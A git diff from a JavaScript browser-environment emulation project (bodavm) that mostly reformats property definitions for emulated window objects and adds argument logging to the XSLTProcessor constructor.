"ignoreDepthValues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferWidth", { + configurable: true, + enumerable: true, + get: function framebufferWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferHeight", { + configurable: true, + enumerable: true, + get: function framebufferHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebuffer", { + configurable: true, + enumerable: true, + get: function framebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getViewport", { + configurable: true, + enumerable: true, + writable: true, + value: function getViewport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "getViewport", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XSLTProcessor.js b/env_xbb_lastest_jsdom/env/XSLTProcessor.js index cd3f4d78..ade6d0bd 100644 --- a/env_xbb_lastest_jsdom/env/XSLTProcessor.js +++ b/env_xbb_lastest_jsdom/env/XSLTProcessor.js @@ -1,11 +1,78 @@ -// XSLTProcessor对象 -bodavm.memory.globalobj['XSLTProcessor'] = function XSLTProcessor(){this._boarg= new bodaobj.window.XSLTProcessor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XSLTProcessor'], "XSLTProcessor"); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "clearParameters", {configurable:true, enumerable:true, writable:true, value:function clearParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "clearParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "getParameter", {configurable:true, enumerable:true, writable:true, value:function getParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "getParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "importStylesheet", {configurable:true, enumerable:true, writable:true, value:function importStylesheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "importStylesheet", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "removeParameter", {configurable:true, enumerable:true, writable:true, value:function removeParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "removeParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "setParameter", {configurable:true, enumerable:true, writable:true, value:function setParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "setParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToDocument", {configurable:true, enumerable:true, writable:true, value:function transformToDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToFragment", {configurable:true, enumerable:true, writable:true, value:function transformToFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToFragment", arguments)}},'prototype'); +// XSLTProcessor对象 + +bodavm.memory.globalobj['XSLTProcessor'] = function XSLTProcessor() { + console.log_copy('XSLTProcessor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XSLTProcessor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XSLTProcessor'], "XSLTProcessor"); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "clearParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function clearParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "clearParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "getParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "getParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "importStylesheet", { + configurable: true, + enumerable: true, + writable: true, + value: function importStylesheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "importStylesheet", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "removeParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function removeParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "removeParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "setParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function setParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "setParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function transformToDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToFragment", { + configurable: true, + enumerable: true, + writable: true, + value: function transformToFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToFragment", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/alert.js b/env_xbb_lastest_jsdom/env/alert.js index a03c6583..89f81090 100644 --- a/env_xbb_lastest_jsdom/env/alert.js +++ b/env_xbb_lastest_jsdom/env/alert.js @@ -1,6 +1,17 @@ -// alert对象 -bodavm.memory.globalobj['alert'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('alert', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('alert', "name", {configurable:true, enumerable:false, writable:false, value:"alert"}); +// alert对象 + +bodavm.memory.globalobj['alert'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('alert', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('alert', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "alert" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/blur.js b/env_xbb_lastest_jsdom/env/blur.js index 1c48d20f..d1d58f30 100644 --- a/env_xbb_lastest_jsdom/env/blur.js +++ b/env_xbb_lastest_jsdom/env/blur.js @@ -1,6 +1,17 @@ -// blur对象 -bodavm.memory.globalobj['blur'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('blur', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('blur', "name", {configurable:true, enumerable:false, writable:false, value:"blur"}); +// blur对象 + +bodavm.memory.globalobj['blur'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('blur', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('blur', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "blur" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/btoa.js b/env_xbb_lastest_jsdom/env/btoa.js index ca9a6aff..c7ed1ec2 100644 --- a/env_xbb_lastest_jsdom/env/btoa.js +++ b/env_xbb_lastest_jsdom/env/btoa.js @@ -1,6 +1,17 @@ -// btoa对象 -bodavm.memory.globalobj['btoa'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('btoa', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('btoa', "name", {configurable:true, enumerable:false, writable:false, value:"btoa"}); +// btoa对象 + +bodavm.memory.globalobj['btoa'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('btoa', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('btoa', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "btoa" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/caches.js b/env_xbb_lastest_jsdom/env/caches.js index 03e9ecf6..4d9c796d 100644 --- a/env_xbb_lastest_jsdom/env/caches.js +++ b/env_xbb_lastest_jsdom/env/caches.js @@ -1,5 +1,6 @@ -// caches对象 -bodavm.memory.globalobj['caches'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['caches'].__proto__=bodavm.memory.globalobj['CacheStorage'].prototype; +// caches对象 + +bodavm.memory.globalobj['caches'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['caches'].__proto__ = bodavm.memory.globalobj['CacheStorage'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/cancelAnimationFrame.js b/env_xbb_lastest_jsdom/env/cancelAnimationFrame.js index 67cfc6ed..0deb3a1a 100644 --- a/env_xbb_lastest_jsdom/env/cancelAnimationFrame.js +++ b/env_xbb_lastest_jsdom/env/cancelAnimationFrame.js @@ -1,6 +1,17 @@ -// cancelAnimationFrame对象 -bodavm.memory.globalobj['cancelAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"cancelAnimationFrame"}); +// cancelAnimationFrame对象 + +bodavm.memory.globalobj['cancelAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "cancelAnimationFrame" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/cancelIdleCallback.js b/env_xbb_lastest_jsdom/env/cancelIdleCallback.js index 53232cab..a2bb0433 100644 --- a/env_xbb_lastest_jsdom/env/cancelIdleCallback.js +++ b/env_xbb_lastest_jsdom/env/cancelIdleCallback.js @@ -1,6 +1,17 @@ -// cancelIdleCallback对象 -bodavm.memory.globalobj['cancelIdleCallback'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('cancelIdleCallback', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('cancelIdleCallback', "name", {configurable:true, enumerable:false, writable:false, value:"cancelIdleCallback"}); +// cancelIdleCallback对象 + +bodavm.memory.globalobj['cancelIdleCallback'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('cancelIdleCallback', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('cancelIdleCallback', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "cancelIdleCallback" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/captureEvents.js b/env_xbb_lastest_jsdom/env/captureEvents.js index ff96ca39..89937736 100644 --- a/env_xbb_lastest_jsdom/env/captureEvents.js +++ b/env_xbb_lastest_jsdom/env/captureEvents.js @@ -1,6 +1,17 @@ -// captureEvents对象 -bodavm.memory.globalobj['captureEvents'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('captureEvents', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('captureEvents', "name", {configurable:true, enumerable:false, writable:false, value:"captureEvents"}); +// captureEvents对象 + +bodavm.memory.globalobj['captureEvents'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('captureEvents', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('captureEvents', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "captureEvents" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/clearInterval.js b/env_xbb_lastest_jsdom/env/clearInterval.js index a5261cd2..0df0d6c0 100644 --- a/env_xbb_lastest_jsdom/env/clearInterval.js +++ b/env_xbb_lastest_jsdom/env/clearInterval.js @@ -1,6 +1,17 @@ -// clearInterval对象 -bodavm.memory.globalobj['clearInterval'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('clearInterval', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('clearInterval', "name", {configurable:true, enumerable:false, writable:false, value:"clearInterval"}); +// clearInterval对象 + +bodavm.memory.globalobj['clearInterval'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('clearInterval', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('clearInterval', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "clearInterval" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/clearTimeout.js b/env_xbb_lastest_jsdom/env/clearTimeout.js index 6592a0b4..ec7ed1e0 100644 --- a/env_xbb_lastest_jsdom/env/clearTimeout.js +++ b/env_xbb_lastest_jsdom/env/clearTimeout.js @@ -1,6 +1,17 @@ -// clearTimeout对象 -bodavm.memory.globalobj['clearTimeout'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('clearTimeout', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('clearTimeout', "name", {configurable:true, enumerable:false, writable:false, value:"clearTimeout"}); +// clearTimeout对象 + +bodavm.memory.globalobj['clearTimeout'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('clearTimeout', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('clearTimeout', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "clearTimeout" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/clientInformation.js b/env_xbb_lastest_jsdom/env/clientInformation.js index 26827516..8bdbebed 100644 --- a/env_xbb_lastest_jsdom/env/clientInformation.js +++ b/env_xbb_lastest_jsdom/env/clientInformation.js @@ -1,5 +1,6 @@ -// clientInformation对象 -bodavm.memory.globalobj['clientInformation'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['clientInformation'].__proto__=bodavm.memory.globalobj['Navigator'].prototype; +// clientInformation对象 + +bodavm.memory.globalobj['clientInformation'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['clientInformation'].__proto__ = bodavm.memory.globalobj['Navigator'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/close.js b/env_xbb_lastest_jsdom/env/close.js index d5bb86c2..2dc235dd 100644 --- a/env_xbb_lastest_jsdom/env/close.js +++ b/env_xbb_lastest_jsdom/env/close.js @@ -1,6 +1,17 @@ -// close对象 -bodavm.memory.globalobj['close'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('close', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('close', "name", {configurable:true, enumerable:false, writable:false, value:"close"}); +// close对象 + +bodavm.memory.globalobj['close'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('close', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('close', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "close" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/closed.js b/env_xbb_lastest_jsdom/env/closed.js index 6a4b61e7..79014166 100644 --- a/env_xbb_lastest_jsdom/env/closed.js +++ b/env_xbb_lastest_jsdom/env/closed.js @@ -1,4 +1,5 @@ -// closed对象 -bodavm.memory.globalobj['closed'] = { - _boisinit:bodavm.config.isinit - } +// closed对象 + +bodavm.memory.globalobj['closed'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/confirm.js b/env_xbb_lastest_jsdom/env/confirm.js index 5c5a4760..96debcf1 100644 --- a/env_xbb_lastest_jsdom/env/confirm.js +++ b/env_xbb_lastest_jsdom/env/confirm.js @@ -1,6 +1,17 @@ -// confirm对象 -bodavm.memory.globalobj['confirm'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('confirm', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('confirm', "name", {configurable:true, enumerable:false, writable:false, value:"confirm"}); +// confirm对象 + +bodavm.memory.globalobj['confirm'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('confirm', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('confirm', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "confirm" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/createImageBitmap.js b/env_xbb_lastest_jsdom/env/createImageBitmap.js index 59671805..f0ee697f 100644 --- a/env_xbb_lastest_jsdom/env/createImageBitmap.js +++ b/env_xbb_lastest_jsdom/env/createImageBitmap.js @@ -1,6 +1,17 @@ -// createImageBitmap对象 -bodavm.memory.globalobj['createImageBitmap'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('createImageBitmap', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('createImageBitmap', "name", {configurable:true, enumerable:false, writable:false, value:"createImageBitmap"}); +// createImageBitmap对象 + +bodavm.memory.globalobj['createImageBitmap'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('createImageBitmap', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('createImageBitmap', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "createImageBitmap" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/credentialless.js b/env_xbb_lastest_jsdom/env/credentialless.js index dc1ff174..0fc64d18 100644 --- a/env_xbb_lastest_jsdom/env/credentialless.js +++ b/env_xbb_lastest_jsdom/env/credentialless.js @@ -1,4 +1,5 @@ -// credentialless对象 -bodavm.memory.globalobj['credentialless'] = { - _boisinit:bodavm.config.isinit - } +// credentialless对象 + +bodavm.memory.globalobj['credentialless'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/crossOriginIsolated.js b/env_xbb_lastest_jsdom/env/crossOriginIsolated.js index d617324c..5a3c41e3 100644 --- a/env_xbb_lastest_jsdom/env/crossOriginIsolated.js +++ b/env_xbb_lastest_jsdom/env/crossOriginIsolated.js @@ -1,4 +1,5 @@ -// crossOriginIsolated对象 -bodavm.memory.globalobj['crossOriginIsolated'] = { - _boisinit:bodavm.config.isinit - } +// crossOriginIsolated对象 + +bodavm.memory.globalobj['crossOriginIsolated'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/customElements.js b/env_xbb_lastest_jsdom/env/customElements.js index ad7a9565..b2b14bf6 100644 --- a/env_xbb_lastest_jsdom/env/customElements.js +++ b/env_xbb_lastest_jsdom/env/customElements.js @@ -1,5 +1,6 @@ -// customElements对象 -bodavm.memory.globalobj['customElements'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['customElements'].__proto__=bodavm.memory.globalobj['CustomElementRegistry'].prototype; +// customElements对象 + +bodavm.memory.globalobj['customElements'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['customElements'].__proto__ = bodavm.memory.globalobj['CustomElementRegistry'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/devicePixelRatio.js b/env_xbb_lastest_jsdom/env/devicePixelRatio.js index 86926b15..8c29da93 100644 --- a/env_xbb_lastest_jsdom/env/devicePixelRatio.js +++ b/env_xbb_lastest_jsdom/env/devicePixelRatio.js @@ -1,4 +1,5 @@ -// devicePixelRatio对象 -bodavm.memory.globalobj['devicePixelRatio'] = { - _boisinit:bodavm.config.isinit - } +// devicePixelRatio对象 + +bodavm.memory.globalobj['devicePixelRatio'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/fetch.js b/env_xbb_lastest_jsdom/env/fetch.js index 1af7570d..47220c47 100644 --- a/env_xbb_lastest_jsdom/env/fetch.js +++ b/env_xbb_lastest_jsdom/env/fetch.js @@ -1,6 +1,17 @@ -// fetch对象 -bodavm.memory.globalobj['fetch'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('fetch', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('fetch', "name", {configurable:true, enumerable:false, writable:false, value:"fetch"}); +// fetch对象 + +bodavm.memory.globalobj['fetch'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('fetch', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('fetch', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "fetch" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/find.js b/env_xbb_lastest_jsdom/env/find.js index 5722f64f..7a08f2e1 100644 --- a/env_xbb_lastest_jsdom/env/find.js +++ b/env_xbb_lastest_jsdom/env/find.js @@ -1,6 +1,17 @@ -// find对象 -bodavm.memory.globalobj['find'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('find', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('find', "name", {configurable:true, enumerable:false, writable:false, value:"find"}); +// find对象 + +bodavm.memory.globalobj['find'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('find', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('find', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "find" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/focus.js b/env_xbb_lastest_jsdom/env/focus.js index 24de8b6d..8654d7d1 100644 --- a/env_xbb_lastest_jsdom/env/focus.js +++ b/env_xbb_lastest_jsdom/env/focus.js @@ -1,6 +1,17 @@ -// focus对象 -bodavm.memory.globalobj['focus'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('focus', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('focus', "name", {configurable:true, enumerable:false, writable:false, value:"focus"}); +// focus对象 + +bodavm.memory.globalobj['focus'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('focus', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('focus', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "focus" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/getComputedStyle.js b/env_xbb_lastest_jsdom/env/getComputedStyle.js index f9c056e8..3aef2868 100644 --- a/env_xbb_lastest_jsdom/env/getComputedStyle.js +++ b/env_xbb_lastest_jsdom/env/getComputedStyle.js @@ -1,6 +1,17 @@ -// getComputedStyle对象 -bodavm.memory.globalobj['getComputedStyle'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('getComputedStyle', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('getComputedStyle', "name", {configurable:true, enumerable:false, writable:false, value:"getComputedStyle"}); +// getComputedStyle对象 + +bodavm.memory.globalobj['getComputedStyle'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('getComputedStyle', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('getComputedStyle', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "getComputedStyle" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/getScreenDetails.js b/env_xbb_lastest_jsdom/env/getScreenDetails.js index f3f0d770..21b731e5 100644 --- a/env_xbb_lastest_jsdom/env/getScreenDetails.js +++ b/env_xbb_lastest_jsdom/env/getScreenDetails.js @@ -1,6 +1,17 @@ -// getScreenDetails对象 -bodavm.memory.globalobj['getScreenDetails'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('getScreenDetails', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('getScreenDetails', "name", {configurable:true, enumerable:false, writable:false, value:"getScreenDetails"}); +// getScreenDetails对象 + +bodavm.memory.globalobj['getScreenDetails'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('getScreenDetails', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('getScreenDetails', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "getScreenDetails" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/getSelection.js b/env_xbb_lastest_jsdom/env/getSelection.js index 1ed2185f..92b68aae 100644 --- a/env_xbb_lastest_jsdom/env/getSelection.js +++ b/env_xbb_lastest_jsdom/env/getSelection.js @@ -1,6 +1,17 @@ -// getSelection对象 -bodavm.memory.globalobj['getSelection'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('getSelection', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('getSelection', "name", {configurable:true, enumerable:false, writable:false, value:"getSelection"}); +// getSelection对象 + +bodavm.memory.globalobj['getSelection'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('getSelection', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('getSelection', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "getSelection" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/indexedDB.js b/env_xbb_lastest_jsdom/env/indexedDB.js index ed854292..84bf931e 100644 --- a/env_xbb_lastest_jsdom/env/indexedDB.js +++ b/env_xbb_lastest_jsdom/env/indexedDB.js @@ -1,5 +1,6 @@ -// indexedDB对象 -bodavm.memory.globalobj['indexedDB'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['indexedDB'].__proto__=bodavm.memory.globalobj['IDBFactory'].prototype; +// indexedDB对象 + +bodavm.memory.globalobj['indexedDB'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['indexedDB'].__proto__ = bodavm.memory.globalobj['IDBFactory'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/innerHeight.js b/env_xbb_lastest_jsdom/env/innerHeight.js index e396fd55..9ddbab00 100644 --- a/env_xbb_lastest_jsdom/env/innerHeight.js +++ b/env_xbb_lastest_jsdom/env/innerHeight.js @@ -1,4 +1,5 @@ -// innerHeight对象 -bodavm.memory.globalobj['innerHeight'] = { - _boisinit:bodavm.config.isinit - } +// innerHeight对象 + +bodavm.memory.globalobj['innerHeight'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/innerWidth.js b/env_xbb_lastest_jsdom/env/innerWidth.js index 41b7236b..6bd47f89 100644 --- a/env_xbb_lastest_jsdom/env/innerWidth.js +++ b/env_xbb_lastest_jsdom/env/innerWidth.js @@ -1,4 +1,5 @@ -// innerWidth对象 -bodavm.memory.globalobj['innerWidth'] = { - _boisinit:bodavm.config.isinit - } +// innerWidth对象 + +bodavm.memory.globalobj['innerWidth'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/isSecureContext.js b/env_xbb_lastest_jsdom/env/isSecureContext.js index b88b078b..d37bc4d0 100644 --- a/env_xbb_lastest_jsdom/env/isSecureContext.js +++ b/env_xbb_lastest_jsdom/env/isSecureContext.js @@ -1,4 +1,5 @@ -// isSecureContext对象 -bodavm.memory.globalobj['isSecureContext'] = { - 